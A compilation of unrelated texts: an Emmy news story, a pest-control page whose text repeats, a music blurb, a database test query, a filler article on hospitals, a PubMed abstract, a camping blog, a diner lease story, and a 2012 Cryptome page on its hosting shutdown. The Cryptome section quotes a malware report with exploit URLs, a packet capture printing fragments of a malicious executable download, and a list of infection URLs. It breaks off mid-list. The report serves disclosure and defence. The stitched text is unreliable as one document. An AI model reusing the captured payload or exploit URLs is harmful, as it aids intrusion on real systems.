“It’s a real point of pride for all of us on the show—there’s so much positivity in terms of representation and the way young girls were seeing themselves portrayed on the screen,” she told reporters. “The LGBT community reached out to us as well — there is an immense joy in getting to tell women’s stories that we don’t normally see.”
Maslany’s win was something of a shocker. She prevailed over last year’s winner, Viola Davis (“How to Get Away With Murder”), Taraji P. Henson (“Empire”), Robin Wright (“House of Cards”), Claire Danes (“Homeland”) and Keri Russell (“The Americans”).
FULL COVERAGE: Memorable moments | Red carpet |Show highlights | Winners | Fashion
Malek triumphed over Bob Odenkirk (“Better Call Saul”), Liev Schreiber (“Ray Donovan”), Matthew Rhys (“The Americans”), Kyle Chandler (“Bloodline”) and Kevin Spacey (“House of Cards”).
He noted in a Times interview the special connection he has developed with Elliot through the show’s two seasons.
“He also brings out some of the better qualities in me,” Malek said. “When you constantly work on someone like Elliot to figure out how they tick, it can’t help but allow you to ask the same personal questions. And when that happens, it can be either uplifting or quite devastating and sad.”
So it wasn’t surprising Malek gave Elliot a shoutout from the podium and, later, backstage.
“I want to honor all the Elliots, because there’s a little bit of Elliot in all of us.”
“We all have things in common with him,” Malek added later. “We live in a world where so many of us feel voiceless, like we’re not being heard by our government or society. I just want everyone, no matter how you grew up — your socioeconomic circumstances that you were born into — to be given a chance like I’ve been given a chance.”
See the most-read stories this hour »
glenn.whipp@latimes.com
Twitter: @glennwhipp
MORE:
Julia Louis-Dreyfus makes Emmy history
Why all the love for ‘People v. O.J.’? ‘The case touches on everything that America is obsessed about’
What was really inside the ‘Stranger Things’ kids’ sandwiches? And did anyone eat them?
Jeffrey Tambor: I’d like to be the last cisgender man playing a transgender woman
Louie Anderson hopes ‘Baskets’ will help people embrace different families instead of labeling them ‘those weirdos’
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Bed Bugs
Bed bugs have extraordinarily small bodies with a brown camouflage, they lay eggs everywhere, and are easily transferred, allowing them to infest entire homes and businesses. Bed bugs, often found in mattresses, bedding, clothing, furniture, and more can be recognized by the musty odor they exude, the brown and black spots on infected surfaces, blood stains on mattresses and bedding from crushed bed bugs, or their bite marks. Bed bug bites emit a burning sensation and generally are several red marks in a precise line.
Ants
Carpenter ants are only one species of ants which could infest your home or business. They have large black bodies and typically nest in wood able to retain moisture and easily accessible from the soil like wood porch structures, window frames, and door frames. You have an infestation if you see swarms of flying ants in the spring around wood structures, these are the adult ants leaving the nest to find new territory. Another sign of a carpenter ant infestation is wood dust or small piles of wood shavings found close to older damp wood.
Roach
The American cockroach is the largest species of cockroaches invading homes. They have a reddish brown or mahogany color with a yellow band outlining the area behind their head. Found anywhere food or moisture is present, these cockroaches are about two inches long and both the females and males can fly. They give off a musty smell and as they mature become more reddish brown. These cockroaches will hide in damp dark places.
Wasp
There are many species of wasps, ranging from microscopic to 1 ½” in size and ranging in color from black to metallic blues and greens and from reddish-brown to dark red and orange. Most wasps have a pinched waist and two pairs of wings. Wasps will nest in several places surrounding your home including hose reels, electrical boxes, soffits, decks, in the corners of windows, under awnings and porches, attics, crawl spaces, and gas grills. If you have a colony of wasps, there could be thousands of wasps living in the nest.
Rodent
Rodents are among the most adaptable and diseased critters to infest homes. They are extremely difficult to exterminate due to their rapid and constant breeding habits. Several species of rodents have the capability to squeeze into spaces much smaller than themselves, making even the smallest holes or cracks entrances to your home. Like many unwanted pests, rodents will cause severe damage to your home or business, excessive chewing and breeding will take a toll on your home’s structure.
Bed Bugs
Bed bugs have extraordinarily small bodies with a brown camouflage, they lay eggs everywhere, and are easily transferred, allowing them to infest entire homes and businesses. Bed bugs, often found in mattresses, bedding, clothing, furniture, and more can be recognized by the musty odor they exude, the brown and black spots on infected surfaces, blood stains on mattresses and bedding from crushed bed bugs, or their bite marks. Bed bug bites emit a burning sensation and generally are several red marks in a precise line.
Ants
Carpenter ants are only one species of ants which could infest your home or business. They have large black bodies and typically nest in wood able to retain moisture and easily accessible from the soil like wood porch structures, window frames, and door frames. You have an infestation if you see swarms of flying ants in the spring around wood structures, these are the adult ants leaving the nest to find new territory. Another sign of a carpenter ant infestation is wood dust or small piles of wood shavings found close to older damp wood.
Roach
The American cockroach is the largest species of cockroaches invading homes. They have a reddish brown or mahogany color with a yellow band outlining the area behind their head. Found anywhere food or moisture is present, these cockroaches are about two inches long and both the females and males can fly. They give off a musty smell and as they mature become more reddish brown. These cockroaches will hide in damp dark places.
Wasp
There are many species of wasps, ranging from microscopic to 1 ½” in size and ranging in color from black to metallic blues and greens and from reddish-brown to dark red and orange. Most wasps have a pinched waist and two pairs of wings. Wasps will nest in several places surrounding your home including hose reels, electrical boxes, soffits, decks, in the corners of windows, under awnings and porches, attics, crawl spaces, and gas grills. If you have a colony of wasps, there could be thousands of wasps living in the nest.
Rodent
Rodents are among the most adaptable and diseased critters to infest homes. They are extremely difficult to exterminate due to their rapid and constant breeding habits. Several species of rodents have the capability to squeeze into spaces much smaller than themselves, making even the smallest holes or cracks entrances to your home. Like many unwanted pests, rodents will cause severe damage to your home or business, excessive chewing and breeding will take a toll on your home’s structure.
Milwaukee Ant Control: Identifying and Eradicating Carpenter Ants
We get many calls from homeowners worried about carpenter ants ruining their decks or wood siding. If you’ve ever punched through a chewed-up piece of decking with a screwdriver and found thousands of little white eggs and a swarm of ants frantically crawling around, you’ve probably met the carpenter ant. So, how serious is this problem?
Identifying Carpenter Ant Infestations in Your Milwaukee Home
Carpenter ants (Camponotus spp.) are medium to large ants, all black or black and red. Worker ants range from 3/8” to ½“ in length, with queens typically reaching 1”.
Carpenter ants typically nest in moist wood outdoors, such as fallen trees, piles of firewood or the decks of homes. A large colony of carpenter ants can number in the thousands. Carpenter ants will forage as far as 100 yards in search of food. The worker ants of the colony are most active at night, traveling from their nest to a food source along trails they have established by releasing pheromones. It is during these foraging forays when ants can and do enter homes, often nesting in the moist wood behind shower tiles, under kitchen sinks, in window or door frames, and in other locations susceptible to water damage. Once inside a house, the typical kitchen’s remnants of sugar, honey, jellies, meats and fats of all kinds provide an endless buffet.
Carpenter Ants: Nuisance or Nemesis?
When Carpenter ants get inside a home, their calling card is a small pile of “frass”--coarse, sawdust-like wood particles mixed with fragments of insects (a staple of the carpenter ant’s diet!). Understandably, many homeowners think Carpenter ants eat wood. Actually, however, they excavate small tunnels in soft wood (and foam insulation). These are smooth, clean excavations with the appearance of having been sanded down. In most cases, any wood carpenter ants infiltrate is already so damaged by moisture it is in need of replacement. In the rare instances when carpenter ants burrow into good wood, the damage is usually fairly minor and limited to a relatively small area.
Although Carpenter ants do not pose as great a threat as termites, an infestation of these ants is not something you want to just live with. A colony of Carpenter ants will grow quickly, particularly due to the abundance of food sources in a home. By the time any signs of infestation are visible—such as small piles of sawdust—there may already be extensive structural damage. If they’re nesting in support beams or in decking, you obviously want to get rid of the ants and replace the damaged wood as quickly as possible. Also, if you have small children or pets in your home, you should be aware that Carpenter ants can and do bite. Their sharp bites inject formic acid under the skin which causes further irritation.
Milwaukee Ant Exterminator Eliminating Carpenter Ants
The key to eliminating carpenter ants inside your house is to find the nest and eliminate it. If you can eradicate the nest—and with it the queen—the colony cannot survive. Tracking down the nest is not usually difficult, but it can be time consuming. One trick is to wait until early evening and put out some food they like—sugar or honey works well. With a red filter over a flashlight (because they cannot see red), you can often track them back to their nest after they’ve filled up with sweets. If you spot winged Carpenter ants, there is nearly always a colony nearby. Sometimes, if the nest is large enough, you may be able to locate it by the crackling sounds these ants make. Often, however, the nest is in such a difficult to reach location it makes any DIY eradication impossible.
A-Landlords has extensive experience tracking down and eradicating Carpenter ant colonies. We use a variety of insecticides proven to have great success in eliminating the queen ant and hastening the demise of the entire colony. If you suspect you have Carpenter ants in your home, don’t put off taking action. Our Milwaukee pest control specialists will assess your situation and provide you with a quote. Call 414-449-8525 today to rid your home of Carpenter ant infestations.
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When I feel like the walls are closing in on me, it’s music that gives me the mental space I need to become whole again! When I feel like I have nothing else left inside, it’s music that fills me with the power to battle my inner demons. I love when heavy music is created in a way that is uplifting while still maintaining its strength. The new LP from TELEPATHY entitled Tempest is one of those records that takes my mind to the place it needs to be! CVLT Nation is beyond stoked to be sharing with you their new record in full below, and we would like to salute Golden Antenna Records (pre-order in effect HERE!) for releasing such a stellar offering on March 31st.
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/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
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* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
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{
"f1": (SELECT value BITCLEAR(6, 1))[0],
"f2": (SELECT value BITCLEAR(6, [1, 2]))[0],
"f3": (SELECT value BITCLEAR(31, [1, 2, 4, 5]))[0],
"f4": (SELECT value BITCLEAR(int8("31"), [int16("1"), float("2"), double("4"), 5]))[0]
};
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Looking On The Bright Side of Doctors
Health is one of the things that must not be taken for granted, regardless of whether it is yours or from the people who are dear to you. You may not know about it but hospitals are being built on a daily basis to cater to all the health needs that each of none has. There are different kinds of hospitals out there that we can choose but if there is one that we should give attention to, that would be our local hospitals. When we say local hospitals, we are actually referring to one of the most commonly sought-after places in terms of the health needs of the people who are living in that locale or area. Ever since the time local hospitals were established up to this very day, there is no denying the reality that they have played significant roles in the lives of people as well as their health. When it comes to matter concerning your health, there is no better place to get all the needs that you have than your local hospitals. If you are oblivious about the services that your local hospitals have to offer, then it is now time for you to check them out. It is vital and essential on your end to know about the benefits that you can get from your local hospitals, most especially when it comes to your health. One noteworthy thing about local hospitals is that they are the finest representation of acceptable healthcare and also, healthcare services that are geared towards excellent and reliability as well.
One of the things that you are getting from these local hospitals is a team of medical professionals as well as specialists who are excellent in their craft. Looking at their customer care desk will already give you an idea how these hospitals are equipped with all the necessary professionals who can help you with all your healthcare needs. What’s more is that as you continue with the process of getting help, a team of doctors will be on standby to help you and assist you with all your healthcare needs. Once you check these hospitals, you will learn about how the specialists they have are placed on standby and are not only there to provide help. One very good example of this would be being catered by a rheumatologist if you are suffering from problems concerning your ligaments, your muscles, and your joints as well. By doing so, there is no longer a need for you to search on where you can find these specialists as they are already present in your local hospitals.
These and more are the things that we want you to know with regards to the services that you can expect from a local hospital.
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"pile_set_name": "PubMed Central"
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The Changing Age of Individuals Seeking Presymptomatic Genetic Testing for Huntington Disease.
Huntington disease (HD) is a progressive neurodegenerative disorder. Presymptomatic genetic testing allows at-risk individuals to clarify their risk status. Understanding the characteristics and motivations of individuals seeking HD presymptomatic genetic testing better equips genetic counselors and other healthcare professionals to provide comprehensive and personalized care. The aims of this study were to (1) determine whether the average age when individuals seek presymptomatic HD genetic testing has decreased over time, (2) assess motivations for seeking testing, (3) explore whether there is a relationship between age and motivations, and (4) explore genetic counselors' perceptions of the shift in age. Data from the US HD testing centers (N = 4) were analyzed. A small but statistically significant decrease in age of individuals seeking presymptomatic testing was observed (p = 0.045). HD community members (N = 77) were surveyed regarding presymptomatic testing motivations. Younger individuals were more likely than older individuals to cite "To learn whether or not you would develop HD" and "To make choices about further education or a career" compared to older individuals (p < 0.05). Conversely, older individuals more frequently cited "To give children a better idea of their risk" (p < 0.002). Sixteen percent of genetic counselors surveyed (6/37) perceived a change in age of testing. All of these respondents had provided HD testing for ten or more years and anecdotally believed the age at testing has decreased over time. Study results help providers personalize counseling based on patient's age and serve as a starting point for more research into the relationship between age at testing and motivations for testing.
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"pile_set_name": "PubMed Abstracts"
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Marginal Musings from a New England Author
Ricketts Glen
According to the calendar, the vernal equinox had turned on the 20th of March; but in the mountains of northeastern Pennsylvania it was still winter the first week in April.
I arrived at Ricketts Glen mid morning to find Lake Jean locked in ice under blue skies. My partner had arrived earlier and was already busying himself setting up camp. We had not seen each other since the previous autumn, when last we camped together at Promised Land.
After a quick lunch we set out scouring the surrounding forest for fire wood and found a thirty foot grayed tree trunk lying on the ground, perhaps a foot in diameter. This would provide the bulk of the fuel for our fire over the next three days. We took turns chopping the trunk into sections and splitting the shorter logs into burnable wedges.
After supper we sat around the campfire and talked well into the night. Eventually the cold wind drove us into the warmth of our sleeping bags in the tent. I awoke in the middle of the night, felt for my boots and poked my head outside. The sky was filled with stars too numerous to count. Orion had risen with Canis major at his heels, lifting his club in timeless battle with Taurus to his right. Across the night sky the dippers danced, spiraling round one another at the pole star.
Next morning the thermometer read nineteen degrees.
After a hearty breakfast of bacon ends and eggs, we set out to hike the Falls Trail, only to discover that sections had iced over. We picked our way along the path, descending to F. L. Ricketts falls, a 38 foot cataract that cascades down over a steep rocky precipice to the canyon below. We paused to take in its grandeur, then turned to hike the Highland Trail through Midway Crevasse to Lake Rose, following the road back to base camp under cirrus filled skies.
We spent the remainder of the afternoon gathering, cutting and splitting wood in anticipation of the coming weather.
Next morning we awoke to a blanket of heavy wet snow. Fog enshrouded the forest. We started a fire to warm ourselves, had something to eat, then decided to make a side trip to World’s End to hike the High View Trail for a scenic vista of Loyalsock Creek.
Mist hovered above the mountainous valleys. The Loyalsock sparkled like emeralds as it flowed through the great bend below the summit. Needles from a lone ancient white pine lay in tufts, red against the white sand beach above the dam. Rivulets cascaded down the sheer rock face opposite as winter ice gave way to water. I pocketed a red stone worn smooth by the waters.
That afternoon, back at camp, a pair of chickadees appeared, searching for food. We threw them bits of bread. I placed an offering in the palm of my gloved hand and waited an eternity for that final moment when one of the birds alighted on my finger to take the tiny morsel. My partner captured the scene with his camera to convince ourselves that it really happened.
That night it rained heavily. The following morning the snow had disappeared. We shook the water droplets off the dining fly and tent before dropping and stowing them into their bags. Ironically, it took several rounds of water to extinguish the final fire; billows of grey smoke rose above the pines and hemlocks, a final farewell offering to the woodland gods.
We set out in separate cars under layered clouds the color of newly poured concrete, heading south through the mountains toward home.
“If men would steadily observe realities only, and not allow themselves to be deluded, life, to compare it with such things as we know, would be like a fairy tale.…” (Thoreau, Where I Live and What I Lived For,” Walden)
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South York Diner up for lease
The York Township property that was once the South York Diner is for lease.
South York Diner served York County customers for 37 years before former owner Steve Skouras sold it in June to his nephews Themi and Chris Sacarellos and brother-in-law Bill Costarellos.
Themi Sacarellos, a local property developer, also owns Round the Clock Diner near the intersection of Route 30 and Interstate 83. He did not return calls seeking comment.
Lease, not sale: At this point, the property is definitely for lease, not for sale, said Bennett Williams Realtor Chad Stine.
The 6,254-square-foot property at 2149 S. Queen St. is listed for $6,250 a month, or $75,000 a year.
At the corner of South Queen Street and I-83, "it's a very well-located property," Stine said.
"It doesn't have to be a restaurant. We're entertaining all possibilities," he said.
The property, first built in 1990 and remodeled in 2000, has generated a lot of interest, Stine said.
"We have constant showings. It's just a matter of the right tenant coming along," he said.
Its history: Skouras first opened the business with family in September 1975, calling it Donut Delite. It expanded to a restaurant in 1980, eventually becoming South York Diner at the busy York Township junction.
In June, Skouras said business had trickled off during the last two years, which prompted him to sell the business and retire at 65 years old.
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14 March 2012. A reader writes cryptome-shut.htm is reported to be malware due to the contents of the Steve Wiley's email reporting infection of Cryptome files. In the past Cryptome has received claims that it is hosting malware because files contain the names of malware but not the malware (an email in the cyperpunks archive). In a few other cases Cryptome has hosted malware needed for research and defense against malware -- such as the DIRT trojan -- those files are also reported as malware. Recently the HBGary cache of malware research contained large numbers of actual malware; when selections were hosted on Cryptome those files also produced malware reports. There are also instances of infected files cached by Google's and other aggregator's siphon of Cryptome setting off malware alarms due to the cached and purloined files being delivered to users rather than subsequently-cleaned files on Cryptome. Take it or leave it, both Google and Norton report Cryptome is safe and free of infection even while malware sleuths claim it is infected. Malware claims are growing as publicity about them increases, similar to cybersecurity panic in general. Our latest Norton protection program is obnoxiously abusive: hogs CPU, delays email unnecessarily, blares warnings, pop-ups in the middle of work demanding attention, behaving like an authoritarian spy and police officer claiming to protect when it is merely hawking its blind faith religion. Zealots of cleanliness all too often turn out to be Typhoid Marys due to ignorance about how infection is spread and promulgation of half-baked hygienic methods more dangerous than vermin. Cryptome advises avoidance of Cryptome as insecure and infected and to protect yourself against those pushing security and purity. 13 March 2012. Cryptome.org has moved to a new ISP. For now February-March 2012 files are available. All the files will be gradually added. The IT person and Network Solutions have apologized for the shutdown. By then all files had been deleted from the NetSol site and the domain transferred to a new ISP. From: "Wiley, Steve" <swiley[at}DowneyBrand.com>
To: "'Lee [at} Royal Gardens'" <lee[at}royalgardens.us>, "jya[at}pipeline.com"<jya[at}pipeline.com>
Date: Mon, 12 Mar 2012 18:50:56 -0700
Subject: RE: Cryptome Downed Please accept my apologies. I am sorry if I have alarmed you or caused any trouble. I am on your side. I am not blaming you for anything. I merely alerted you directly and timely to what I believed was a substantial problem with your website, with an eye solely towards helping you preserve your visitors security and by extension, your reputation. I alerted your ISP in the same email I alerted you, for the same reason - to help you preserve your site reputation. If you are on vacation, if your registrar has outdated contact info for you etc, your ISP may be the only one who I am able to contact quickly. I contact all manner of site operators daily, and most are in no position to help themselves, so I always include their ISP. Most of the time the ISP is the only person who gets my email, I usually get bounces from the other email addresses I try. Most sites are on hosted servers so alerting the ISP to fix one server, may preserve the integrity of many hundreds of domains as well as their visitors/clients/employees computers from infection. I see you have had some disagreements with ISPs in the past, and I want to assure you that I did not know that before I communicated with you or your ISP. I do not want to cause any trouble for you, I only want to help you. I do not have any agenda other than helping people whose sites have been hacked. Sometimes I have little time to compose the emails, and in my haste to alarm people to trouble my communications come off somewhat terse. Sometimes my attempts at helping blows up in my face, and I am constantly reminded of the ancient phrase which surely has resulted in much hilarity over the eons: don't shoot the messenger (please). Again please accept my apologies. _____ Subject: Network Solutions - Service Request 1-583317019
Date: Tue, 13 Mar 2012 00:11:29 -0400
From: "Network Solutions Support" <siebelcustserv[at}networksolutions.com>
To: "John Young" <jya[at}pipeline.com>, <cryptome[at}earthlink.net> Dear John, I am sorry to hear that your site was suspended. We have removed the suspension and we have technicians available that can restore the content which you removed from the server. If you would like us to restore this content for you, please email listen[at}networksolutions.com. This email is monitored by my team, as well as others, 24/7 and we can get the content restored fairly quickly. If you have any questions regarding this specific Service Request, you can chat directly with our Technical Support team by clicking on the following link: http://www.networksolutions.com/dms/support.jsp If you have any other questions please visit our comprehensive support section at http://www.networksolutions.com/support/ or contact our Support Center and refer to Service Request 1-583317019 and a specialist will be happy to further assist you and ensure that we completely resolve your issue as quickly as possible. Special Offer - 11% off on a new purchase. Valid on new purchases only. Does not include Web Design, Pay-Per-Click, or SEO offerings. See below for details. We understand that waiting on resolution for an issue is sometimes frustrating. We appreciate all of our customers, and our commitment to you is to provide the fastest service possible without sacrificing quality. For any inconveniences that you may have endured, please feel free to take advantage of the following offer: http://ads.networksolutions.com/landing?code=P99C383S603N0B11A1D38E0000V100&promo=GCMKT00043 Thank You, Daniel
Technical Services
Network Solutions
http://www.networksolutions.com/support/
US/Can: 1.866.391.4357
International: 1.570.708.8788 12 March 2012 Cryptome Shut by Network Solutions Cryptome was shutdown by its ISP, Network Solutions, at 12/Mar/2012:14:30:37 -0400 in
response to an IT person reporting an infection. Messages: Subject: Network Solutions Policy Violation - Reference number 1-583317019 Date: Mon, 12 Mar 2012 15:24:09 -0400 From: "Network Solutions Support" <siebelcustserv[at}networksolutions.com> To: "John Young" <jya[at}pipeline.com> Dear John, Your hosting package 01938F7.NETSOLHOST.COM was suspended because it is compromised due to vulnerabilities in your website code. I apologize for any inconvenience this may have caused. You will need to remove any and all malicious code, as well as secure the code itself which is allowing these vulnerabilities to occur. Below is an example of one of the malicious URL s which are being used. I would also recommend changing any ftp passwords which you have configured. One of many malicous URLs: hxxp://cryptome.org//Index/content/hcp_vbs.php?f=16&d=0 There may be other compromised content which was not discovered which should be removed as well. If you have any other questions please visit our comprehensive support section at http://www.networksolutions.com/support/ or contact our Support Center and refer to Service Request 1-583317019 and a specialist will be happy to further assist you and ensure that we completely resolve your issue as quickly as possible. Thank You, Daniel Technical Services Network Solutions http://www.networksolutions.com/support/ US/Can: 1.866.391.4357 International: 1.570.708.8788 Message No. 1 from IT person: From: "Wiley, Steve" <swiley[at}DowneyBrand.com> To: "'noc[at}networksolutions.com'" <noc[at}networksolutions.com>, "'abuse[at}networksolutions.com'" <abuse[at}networksolutions.com> CC: "'cryptome[at}earthlink.net'" <cryptome[at}earthlink.net>, "'jya[at}pipeline.com'"<jya[at}pipeline.com> Date: Mon, 12 Mar 2012 11:25:44 -0700 Subject: Infected host at IP 205.178.145.72 cryptome.org The site cryptome.org at IP 205.178.145.72 is hosting malicious binaries. Analysis and original PCAP is below. One of many malicous URLs: hxxp://cryptome.org//Index/content/hcp_vbs.php?f=16&d=0 PCAP: IP 10.1.1.86.1867 > 205.178.145.72.80: tcp 171 E... .[at}...p< ..V...H.K.PP..p...*P....\..GET /Index/w.php?f=16&e=0 HTTP/1.1 User-Agent: Java/1.6.0_21 Host: cryptome.org Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 0 E..(6.[at}....y...H ..V.P.K...*P...P............. IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1448 E...J.[at}........H ..V.P.K...*P...P..._...HTTP/1.1 200 OK Date: Mon, 12 Mar 2012 16:33:50 GMT Server: Apache/2.2.15 (FreeBSD) mod_ssl/2.2.15 OpenSSL/0.9.8e DAV/2 PHP/5.3.2 with Suhosin-Patch X-Powered-By: PHP/5.3.2 Pragma: public Expires: Mon, 12 Mar 2012 16:34:45 GMT Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="info.exe" Content-Transfer-Encoding: binary Content-Length: 360960 Content-Type: application/x-msdownload Set-Cookie: client=done; expires=Tue, 13-Mar-2012 16:33:51 GMT; path=/ Keep-Alive: timeout=5, max=400 Connection: Keep-Alive MZ......................[at}............................................. .!..L.! This program cannot be run in DOS mode. $............}...}...}...,...}.......}.......}...//..}.../...}.../...}.......} ...}...}...,+..}...,/..}...,...}...,...}...,...}..Rich.}...................... ....PE..L...[at}..N.............. ......H....................[at}..........................0....................... ...........................d.......B7......................................... ..................................................................text...|.... ....................... ..`.rdata..8...........................[at}....data... ...........................[at}....rsrc...B7.......8..................[at}..[at}....... .............................................................................. ............................................................................ IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1460 E...`1[at}........H ..V.P.K....P...P....c......................................................... .............................................................................. ...........................................>... .'..3......K..$..>... ....3......K..$..>.....]..3......K..$...U....8....K...<....N..R.....ZRQ......P .%......Z...K..?W..X...Y....8]...>... .h..3....<.K..$..>.....^..3....`.K..$..>... $...3......K..$...U....P1.\.........RT..Sj[at}.. ..Rh..K......R..<(.....#z.,$..,.K........YZh..K...x.....x.....+.K..8.K..9.g.3. ........3..4.Y.8.....;...........u.R.....Z..P]...>........3....t.K..$..>....7[ ..3......K..$...U....(...K..}.S..<..........~......[j......j........(].....>.. .....3....|.K..$...U....4...K.......R......SP........ZR. ...ZR.....Z..4]..>.....T..3......K..$...U....0...K.......Pj......XP.p.WV..8... ........XP.....W.E...X..0]....U....$...K..YdQ.....V."...YQVSP........YQ.v...Y. .$]....>........3....L.K..$..>... .}..3......K..$..>... :{..3....$.K..$...U....T.p.K..E.j......V.v.WP.......^......^j........T]..>.... .r..3....\.K..$..>.....z..3......K..$..>....=u..3....x.K..$..>....p...3....P.K ..$..>.....3..3.... .K..$..>.....8..3....H.K..$..>....G...3......K..$..>....|m ..3......K..$..>........3....[at}.K..$..>....,:..3....8.K..$...j.j.j..........g.. .j.j.j0..$..K.......P;.....(..`..*.......a...>... .q..3....X.K..$...U....[at}...K....3..v.W.wxP.wP....... ......_j......j..2.....[at}]...>... ....3......K..$..>... ....3....,.K..$..>........3....D.K..$..>... 8;..3....T.K..$..>....."..3....p. IP 10.1.1.86.1867 > 205.178.145.72.80: tcp 0 E..(nT[at}...#* ..V...H.K.PP.......P............. IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1436 E...v.[at}....=...H ..V.P.K....P...P...V...K..$..>... .+..3....h.K..$..>........3....0.K..$..>... K~..3....l.K..$..>.....M..3....d.K..$..>.....M..3......K..$..>.....5..3......K. .$...U....`.5..K. vTV......Q.......4......^j......j........`]...>....... .3......K..$..>....q ..3......K..$..>... 2r..3......K..$..>... .-..3....(.K..$..>... .k..3......K..$...U....H. .K...,...j..&...S.s`..|...R..4....d......[.....V..... ..H]........................................................................... ............................................................................... ............................................................................... ............................................................................... .............................................................................I. ..N.a./.k......&....gc!..}..p....O.>../..E.~.2.a5...f.em.Ki.I.gF.#PT.#Q.H4;:.gn h...hq$]i<O..;&K.?i.H............. ..^...^.|.a.}d..`Z.'....9....t.L..$..4%= ....R....CC..L.I...b...b....?...... ...&[..&./.../..K6..?.i...i.'?..L...Q...... ...D.~.C%..B{.v..wv.;w.....`.........H......X..rO..ro.....t.R..'W..WW........h% ....._...kf....Os.FKg7.J.C...GH...a.p.qT..uL...R"8.g..|.2[at}.-..........M]2j._2j. .Fi>...K..D.u......[at}1.9.0SF.c....s)...)..p....l>..m?...[at}..F...F..A..J=;.2F?.2.> )c.>*.5.7Fv.q...v)..n...r....&..n.....Y.!.Y1........<..[.'....b....}U.......... 0>M$1AM$.Q.(...L...L...Q....zO....[at}.p.[at}....B.xA...[at}6p.<.oX[at}.0.Dj/$E.......G.6*. ?2V....P.U Ul. .x.....=B. N....|C.......lC! IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1460 E...v.[at}........H ..V.P.K..."P...P.......%.F$J.F$..F...E...0.V..*.n......-......(I.J.M6.G.j...... ..,.W.,.......R..)...)........[a.W..V\..f\...D.\TI.]dI...M...M..KZ..X....|PFLN: .5Sm....5.0H>./X?.0lG.....C.';..X...Y..\B.;\s.<lt...y4..z4.S.3._..[at}.hV.9...%... "`.............t...............6........D.!Shm+Shn..hn..f...%...Y..Q"..UF..Yj~u ..p..........f,-.q--.Y.,.Y....25w.35w..4w.........89......D...Ec?&.e?&...N...N. .(ou.(ovc..0...1........8...y......3.Sd......;.\y......C]..G^:].......k.T.&.T.& ...&.S...K3. ..S.....A].j.........:,......}.l.}..........k...........w.V....TOd'............ T...H...I..I...i_.<v..<v.:...:...f/..f;..e..srIRu..!....f\..g\p...3i..Tk....... ....,...I..g..B.'.f.*,.C...C.sd.........l...k..e0..e0.e.L.(..Z.....`.(p.V..!V.. ..k.......6.....XK....wr..w...<....)...0g.N=....)..uP..u.Z ..m!...)P.|q.\(.YV.h .....Y.o...4...... v.. w.qf.a2kr.V{..V{..V{:.V{;j..2.w..7%c...kC..{D..i.T....wz I..4.Jki...........y.....q....F...C;w.....)...).^.(Qo...\...]4.<b5.<........\.. .....2...3.gR3N...R.....d.n.5.C......_8t.=t 7^.V.[at}s/.!0."....~...Wp..V:L0...Y.)..`. .., .]u.T.4I{...2...2...2...2...2...2...2...2...2...2...2.0.${}K..L.R ...................\...*.......z...............j...................:...J....... ....&...r...8...........J...........d.......V.................................. .....................................L...............8...................p..... ..........,........................... ...................\...*.......z...............j...................:...J....... ....&...r...8 IP 10.1.1.86.1867 > 205.178.145.72.80: tcp 0 E..(n\[at}...#" ..V...H.K.PP.......P....9........ IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1460 E...v.[at}........H ..V.P.K....P...P..................J...........d.......V........................ ...........................b.FreeEnvironmentStringsA.w.GetModuleHandleA..u.Open EventA....GlobalLock..j.GetACP....FreeConsole...CreateEventA....IsBadReadPtr... .GlobalUnlock..f.GetStdHandle..>.LoadLibraryExW..2.CloseHandle...ResumeThread.. 0.FindClose.}.OpenMutexA..y.GetSystemTime...VirtualProtectEx..I.LocalFree.N.lst rlenA..i.GetLastError..KERNEL32.dll....IsMenu..>.GetMessageA.>.GetMessageA...Ge tDlgItemTextA...DialogBoxParamA...GetComboBoxInfo.{.SetFocus....LoadCursorA._.G etSubMenu..-.ClipCursor..R.CreateWindowExA...EndDialog...IsIconic..USER32.dll.. ..ASN1BERDecBool..7.ASN1BEREncNull....ASN1BERDecCheck.b.ASN1DecAlloc..;.ASN1BER EncOpenType..MSASN1.dll....MessageBoxA.USER32.dll.............................. ............................................................................... ............................................................................... ..............................j.h.e.r.t.a.u.i.k.l.s.e.r.v.n.m.c.o.m.u.i.d...d.l .l...l.x.n.d.e.r.t.l.o.p.u.y.t.x.c.a........................................... ............................................................................... ............................................................................... ............................................................................... ............................................................................... ............................................................. IP 205.178.145.72.80 > 10.1.1.86.1867: tcp 1460 E...v.[at}........H ..V.P.K....P...P....U.......................................................... ............................................................................... ............................................................................... ............................................................................... ............................................................................... ............................................................................... ........................................................................ ...... .[at}.......................X.......p........................................... ....................... ....................... ............%..........x....... ........ '.."...........(...0...`..... ......%................................. ............................................................................$.. .'...'...#..................................................................... .................................................................. ........... ....$...1...C...U...f...y...........................r...a...M...=...-.......... ............................................................................... .......... ...............&...4...B...W...l............'''.utu............. ....]]\................|...e...O...=.......#........... ............................................................................... ....&...3...C...U...h...}....<==............................................... .....u...`. BINARY ANALYSIS: Orig. Traffic Capture J-10.1.1.86-322348.pcappcap 436027 bytes (text) VM Capture W9223397244018158380-79636-201-2012-03-12-173747.pvna.pcappcap 220175 bytes (text) Source Host: xxxxVM.downeybrand.com Src IP: 10.x.x.86 Src MAC Address: 00:22:0d:4e:89:c2 Malware: Exploit.Browser Analysis OS: Microsoft WindowsXP Professional 5.1 sp3 Bot Communication Details: Server DNS Name: cryptome.org Infection URLs: DL URL Occurred Content Type DL URL Occurred Content Type [] cryptome.org/blm042408.htm 03/12/12 17:37:32 text/html [] cryptome.org/Index/ edu.class 03/12/12 17:37:48 text/html [] cryptome.org/Index/index.php 03/12/12 17:37:39 text/html [] cryptome.org/Index/ net.class 03/12/12 17:37:49 text/html [] cryptome.org/Index/content/Jas.jar 03/12/12 17:37:47 [] cryptome.org/Index/ org.class 03/12/12 17:37:49 text/html [] cryptome.org/Index/com.class 03/12/12 